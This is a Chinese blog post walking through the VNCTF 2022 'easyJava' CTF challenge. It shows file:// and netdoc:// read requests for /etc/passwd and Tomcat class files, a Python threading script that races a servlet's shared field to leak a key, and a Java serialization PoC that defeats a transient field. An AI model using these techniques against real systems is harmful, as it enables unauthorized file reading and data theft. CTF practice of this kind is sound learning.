nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

VNCTF 2022 easyJava

前言

也是直接看wp去尝试一下简单的java题了,没环境,也不知道这个代码的逻辑,只能跟着别人的逻辑走,所以挺简单的,主要就是看看java题什么个样
参考https://blog.csdn.net/snowlyzz/article/details/128052750?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171014340416800192298120%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=171014340416800192298120&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-7-128052750-null-null.142^v99^pc_search_result_base8&utm_term=VNCTF2022&spm=1018.2226.3001.4187

VNCTF 2022 easyJava

开始可以使用file协议读取文件内容
/file?url=file:///etc/passwd
2024-03-11T08:16:41.png
然后就读java文件的内容

file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF

2024-03-11T08:17:12.png

file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entity
    User.class
servlet
    FileServlet.class
    HelloWorldServlet.class
util
    Secr3t.class
    SerAndDe.class
    UrlUtil.class

继续读

file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class

然后反编译,idea可以自己反编译文件
然后就是一些java代码
下面分析重点部分
hello.class 中的doPOst方法
2024-03-11T08:19:05.png
想要输出flag必须满足两个if条件
就是我们输入的key和代码的key相等和反序列化后的text和user对象相等
首先我们看看怎么获取key
首先调用的是Secr3t.getKey()

public static String getKey() {
        return Key;
    }

会返回key,但是我们仍然不知道key的值,这个返回不代表输出
然后我们找找,发现HelloWorldServlet.class里的doGet
2024-03-11T08:25:02.png
但是这个条件很冲突,又要我们的name为vnctf2022,又要不为,这里涉及到一个Servlet的线程安全,servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象
而这个this.name 刚好判断的是实例化对象的属性,只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022,然后当进入第二个线程的时候,在操作它变成vnctf2022,那不就进入了第二个if条件内吗。

反正大概就这个意思

import time
import requests
from threading import Thread
 
url = 'http://01b0fd97-c90e-46e3-8809-b624bb4cfa1d.node4.buuoj.cn:81/evi1'
payload1 = "?name=vnctf2022"
payload2 = "?name=snowy"
ses = requests.session()
 
 
def get(session, payload):
    while True:
        res = session.get(url=url+payload)
        print(url+payload)
        print(res.text)
        if "key" in res.text:
            print(res.text)
        time.sleep(0.1)
 
 
if __name__ == '__main__':
    for i in range(2):
        Thread(target=get, args=(ses, payload1,)).start()
    for j in range(2):
        Thread(target=get, args=(ses, payload2,)).start()

2024-03-11T08:28:15.png
然后就是反序列化了
这个问题看着很sb,其实就是叫你绕过user.java中的private transient String height;
这里的User.java 中 height 属性是由 transient修饰的,所以序列化的时候不会参与,我们只需要重写原来user类的readobjetc方法,在最后加上

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
 s.defaultWriteObject();
 //强制序列化name
 s.writeObject(this.height);
}

poc

import entity.User;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws IOException {
        User user = new User("m4n_q1u_666","666","180");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(user);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);
        
    }
}

2024-03-11T08:31:43.png

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » VNCTF 2022 easyJava

评论